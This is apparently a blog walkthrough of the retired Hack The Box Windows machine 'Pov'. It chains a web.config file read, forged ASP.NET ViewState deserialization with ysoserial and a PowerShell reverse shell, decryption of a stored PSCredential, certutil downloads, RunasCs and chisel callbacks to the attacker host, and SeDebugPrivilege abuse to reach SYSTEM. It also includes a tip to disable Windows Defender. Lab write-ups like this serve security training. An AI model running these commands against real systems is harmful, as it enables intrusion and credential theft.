Post

POV (Retired Box)

POV (Retired Box)

Overview

Pov is a medium Windows machine that starts with a webpage featuring a business site. Enumerating the initial webpage, an attacker is able to find the subdomain dev.pov.htb. Navigating to the newly discovered subdomain, a download option is vulnerable to remote file read, giving an attacker the means to get valuable information from the web.config file. The subdomain uses the ViewState mechanism, which, in combination with the secrets leaked from the web.config file, is vulnerable to insecure deserialization, leading to remote code execution as the user sfitz. Looking at the remote filesystem, an attacker can discover and manipulate a file that reveals the credentials for the user alaading. Once the attacker has code execution as the user alaading the SeDebugPrivilege is abused to gain code execution in the context of a privileged application, ultimately resulting in code execution as nt authority\system.


Recon

1
2
mkdir -p nmap/pov
nmap -sC -sV -T4 -vv -p- --min-rate=1000 -oA nmap/pov 10.129.16.112

I create a dedicated folder so I can keep my scans organized and return to them later without rerunning anything.

Nmap Output

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
└──╼ [★]$ less nmap/pov.nmap

Nmap scan report for 10.129.16.112
Host is up, received echo-reply ttl 127 (0.0083s latency).
Scanned at 2025-11-07 00:58:46 CST for 129s
Not shown: 65534 filtered tcp ports (no-response)
PORT   STATE SERVICE REASON          VERSION
80/tcp open  http    syn-ack ttl 127 Microsoft IIS httpd 10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-title: pov.htb
|_http-favicon: Unknown favicon MD5: E9B5E66DEBD9405ED864CAC17E2A888E
|_http-server-header: Microsoft-IIS/10.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Key findings:

  • Only port 80 is open.
  • Server is Microsoft IIS 10.0.
  • The page title resolves to pov.htb.
  • TRACE method is enabled (not useful here, but noted).
  • Almost all other ports are filtered.

So the entire attack surface at this stage is the web application.

Title card

I visit the webpage and discover dev.pov.htb, a sfitz user and a contact from. I map both the main domain and the suspected dev subdomain so virtual host routing works correctly.

1
2
└──╼ [★]$ echo "10.129.16.112 dev.pov.htb pov.htb" | sudo tee -a /etc/hosts
10.129.16.112 dev.pov.htb pov.htb

Virtual Host Enumeration

I then proceed to test for other subdomains:

1
2
3
4
5
└──╼ [★]$ gobuster vhost -u http://10.129.16.112 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -t 50 --append-domain --domain pov.htb -o gobuster_vhost.txt

# or

└──╼ [★]$ ffuf -u http://10.129.16.112 -H "Host: FUZZ.pov.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -mc 200,204,301,302,307,401,403 -ac -t 50 -o ffuf_results.json -of json -s

Only dev.pov.htb seems to be available, this becomes the real entry point into the box.


Enumeration

I return to the main site on pov.htb and test the contact form there, but nothing indicates meaningful backend interaction. Shifting to dev.pov.htb, I’m met with a barebones developer page, and the only functional link is contact.aspx, which loads another form.

Title card

I submit dummy data and capture the request in Burp. Right away, something jumps out:

  • The parameters used by contact.aspx match those from the CV download request.
  • Both handlers rely on a file parameter.

Title card

That kind of duplication usually points to shared backend logic which often means shared vulnerabilities.

Title card

Testing the Download Function

I compare both endpoints to see which one actually interacts with the backend:

  • The contact form shows no server-side behaviour.
  • The CV download endpoint clearly performs file operations.

To confirm, I test the file parameter with a harmless value like default.aspx and receive a valid response. That tells me the server is genuinely reading whatever path I supply.

I then attempt path traversal, but every variation fails, which suggests the input is either sanitized or restricted to a preset directory.

With traversal blocked, I go straight for the most valuable target: file=/web.config

Tip : IIS applications rely on web.config for sensitive configuration data, and poorly implemented file-read features often expose it.

Sure enough, the server returns the content of the web.config file.

Title card

We obtain: validationKey, decryptionKey, Algorithms: SHA1 + AES

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<configuration>
  <system.web>
    <customErrors mode="On" defaultRedirect="default.aspx" />
    <httpRuntime targetFramework="4.5" />
    <machineKey decryption="AES" decryptionKey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" validation="SHA1" validationKey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" />
  </system.web>
    <system.webServer>
        <httpErrors>
            <remove statusCode="403" subStatusCode="-1" />
            <error statusCode="403" prefixLanguageFilePath="" path="http://dev.pov.htb:8080/portfolio" responseMode="Redirect" />
        </httpErrors>
        <httpRedirect enabled="true" destination="http://dev.pov.htb/portfolio" exactDestination="false" childOnly="true" />
    </system.webServer>
</configuration>

ViewState Analysis

Perculiarly in the body of the request, we find:

1
2
__VIEWSTATE
__VIEWSTATEGENERATOR

This with info from wappalyzer confirms tells me the application relies on ASP.NET ViewState with server-side deserialization enabled. ASP.NET ViewState is supposed to be protected by MAC validation and Optional encryption

But since the machineKey is leaked above, both protections are defeated.

Searching for exploitation confirms:

  • Signed/Encrypted ViewState can be forged.
  • If the app has ViewState deserialization enabled (EnableViewStateMac=true), an attacker with keys can generate malicious payloads.
  • This leads to remote code execution.

To exploit it cleanly, I will use YSoSerial.NET

Tip: I first tried running YSoSerial.NET under Linux through Wine, and it was a waste of time. Missing dependencies, crashes caused me unnecessary delays. If you need this tool, just drop the friction: disable your browser’s blocking features and Windows Defender temporarily, download it directly, and run it natively in PowerShell. That’s the only reliable and efficient way to use it.

First I grab a revshell payload from revshells.com

Title card

Then I supply:

  • The machine keys
  • The correct algorithm details
  • The application’s path (/portfolio) — required for a valid MAC
  • The PowerShell reverse shell payload
1
2
3
PS C:\Users\Admin\Downloads\ysoserial\Release> .\ysoserial.exe -p ViewState -g WindowsIdentity --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" --path="/portfolio" -c "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAA<SNIP>AByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA"
# generates forged ViewState blob
fImav472Vz4Nwo31L33x5aR9KKurSGTBW8anEwigBhJNbeodEQphEQ1xz2YM1Rzm3%2FbNNzHgEuo7iX3VmK7JCXY7kEiRCMzT99q7LM5nk7xWSYLGu8KYhyN6OKteZ%2BBE4wV2eKQ3ZudPOWZz9HWUD%2FNl8nNajS1dp%2BcljmswYVsMxPjE7cHFtksLT3bnK2OfFmOU0Hnt7RDsT8fniKj7yrpk641MriaD<SNIP>

Exploiting ViewState

I swap out the legitimate __VIEWSTATE value in the form request for my forged payload and send it off.

Title card

Before doing that, I set up my listener using rlwrap with nc so I can actually work inside the shell once it lands.

Info: Why rlwrap instead of plain nc? Because nc on its own gives you a dead, raw terminal with no arrow keys, no command history, no proper line editing. rlwrap fixes all of that and makes the reverse shell a lot better.

Title card

Once the shell lands, I start with basic enumeration. I immediately notice two local users, alaading and Administrator. That’s enough to push me toward privilege-related checks.

Title card

I run:

whoami /all

The output shows nothing special, just standard IIS-related groups and the usual low-privilege web user context:

  • IIS_IUSRS
  • IIS APPPOOL\dev
  • No powerful privileges
  • Mandatory integrity level: Medium

In short, sfitz is a typical application-pool account with no elevation rights. That tells me I’ll need to pivot laterally or find stored credentials rather than relying on privilege escalation from this user.


Post-Exploitation

Running tree /f /a in the user directory reveals a connection.xml file sitting in Documents:

Title card

The credential stored in connection.xml is a PowerShell PSCredential object, and its password is protected with DPAPI.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
PS C:\Users\sfitz\Documents> type connection.xml
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
      <S N="UserName">alaading</S>
      <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb01000000cdfb54340c2929419cc739fe1a35bc88000000000200000000001066000000010000200000003b44db1dda743e1442e77627255768e65ae76e179107379a964fa8ff156cee21000000000e8000000002000020000000c0bd8a88cfd817ef9b7382f050190dae03b7c81add6b398b2d32fa5e5ade3eaa30000000a3d1e27f0b3c29dae1348e8adf92cb104ed1d95e39600486af909cf55e2ac0c239d4f671f79d80e425122845d4ae33b240000000b15cd305782edae7a3a75c7e8e3c7d43bc23eaae88fde733a28e1b9437d3766af01fdf6f2cf99d2a23e389326c786317447330113c5cfa25bc86fb0c6e1edda6</SS>
    </Props>
  </Obj>
</Objs>

DPAPI ties the encryption to the user account and machine it was created on, so exfiltrating the file and trying to decrypt it elsewhere is pointless.

Since I’m already running as sfitz, I can decrypt it cleanly using PowerShell:

1
2
3
PS C:\Users\sfitz\Documents> $cred = Import-CliXml -Path connection.xml
PS C:\Users\sfitz\Documents> $cred.GetNetworkCredential().Password
f8gQ8fynP44ek1m3

That gives me the plaintext password for the alaading account.


Pivoting to alaading

To get a more stable shell, I download RunasCs.exe, which allows executing processes as another local user without logging them in interactively.

Title card

I grab it on the target with:

1
PS C:\programdata>  certutil -urlcache -f http://10.10.14.115:8000/RunasCs.exe RunasCs.exe

Then:

1
2
3
4
5
6
PS C:\programdata>  .\RunasCs.exe alaading f8gQ8fynP44ek1m3 cmd.exe -r 10.10.14.115:9001

[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-82865$\Default
[+] Async process 'C:\Windows\system32\cmd.exe' with pid 2028 created in background.
PS C:\programdata> 

I successfully catch the request on another tab in my attack host:

1
2
3
4
5
6
7
8
└──╼ [★]$ rlwrap -cAr nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.10.14.115] from (UNKNOWN) [10.129.230.183] 49677
Microsoft Windows [Version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
pov\alaading

Now I’m running as alaading.


Privilege Escalation

Quick enumeration of the environment reveals that alaading has a dangerous privilege:

1
2
3
4
5
6
7
8
9
10
C:\> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State
============================= ==================================== ========
SeDebugPrivilege              Debug programs                       Enabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled

This allows a user to:

  • Attach to privileged processes
  • Dump memory
  • Inject code
  • Spawn processes as SYSTEM

Info: There are a few ways to abuse SeDebugPrivilege. You can try the traditional Meterpreter route, i.e. migrate into a SYSTEM-owned process and elevate from there but in my case that approach wasn’t reliable. Instead, I opted for PsGetSys.ps1, which directly leverages SeDebugPrivilege to spawn a SYSTEM shell. To run it cleanly, I needed a stable PowerShell environment, so I created a tunnel from my alaading reverse shell back to my machine and then connected using Evil-WinRM. That gave me a proper interactive session where I could load and execute the PowerShell script without the constraints of a raw reverse shell.


Tunnelling to WinRM with Chisel

Here’s a step by step guide as to how I achieved this connection:

1) Start the chisel server (attacker)

On my attack VM I run a reverse-server to accept reverse connections from the host:

1
2
3
4
5
6
7
8
└──╼ [★]$ chisel server --reverse -p 8000
2025/11/12 03:58:17 server: Reverse tunnelling enabled
2025/11/12 03:58:17 server: Fingerprint U7NH1cQY4Phh1JitbTgt9gkyuxDaIvKi0S6GfHlPs14=
2025/11/12 03:58:17 server: Listening on http://0.0.0.0:8000
2025/11/12 03:58:17 server: session#1: Client version (1.11.3) differs from server version (1.10.0)
2025/11/12 03:58:17 server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening
2025/11/12 03:58:23 server: session#2: Client version (1.11.3) differs from server version (1.10.0)
2025/11/12 03:58:23 server: session#2: tun: proxy#R:5985=>5985: Listening

2) Start the chisel client on the target

From the shell I already have on the box (running as alaading) I create a reverse tunnel mapping the remote machine’s 127.0.0.1:5985 to my attacker host:

1
2
3
4
PS C:\programdata> .\chisel.exe client 10.10.14.115:8000 R:5985:127.0.0.1:5985
.\chisel.exe client 10.10.14.115:8000 R:5985:127.0.0.1:5985
2025/11/12 01:58:01 client: Connecting to ws://10.10.14.115:8000
2025/11/12 01:58:01 client: Connected (Latency 8.82ms)

3) Connect with Evil-WinRM over the tunnel

Point Evil-WinRM to 127.0.0.1 and authenticate as alaading:

1
2
3
4
5
6
7
8
9
10
└──╼ [★]$ evil-winrm -i 127.0.0.1 -u alaading -p f8gQ8fynP44ek1m3

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
  
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\alaading\Documents>

Once the WinRM tunnel is up and connection is established, I enumerate the running processes with:

Title card

From the list, I identify winlogon.exe (PID 548), which is a SYSTEM-level process that’s safe to impersonate when you have SeDebugPrivilege.


Uploading PsGetSys

Before using the privilege escalation script, I transfer psgetsys.ps1 to the target:

1
2
*Evil-WinRM* PS C:\programdata> upload psgetsys.ps1 
*Evil-WinRM* PS C:\programdata> . .\psgetsys.ps1

Running the escalation

Once the script is loaded, I execute the function to impersonate winlogon’s token and spawn a SYSTEM shell:

Title card

Note: Before running the command, make sure you have another rlwrap session ready on your attack machine.

Title card

And just like that, I’ve moved vertically from a low-privileged web user all the way to NT AUTHORITY\SYSTEM.

1
PS C:\> type Users\Administrator\Desktop\root.txt
This post is licensed under CC BY 4.0 by the author.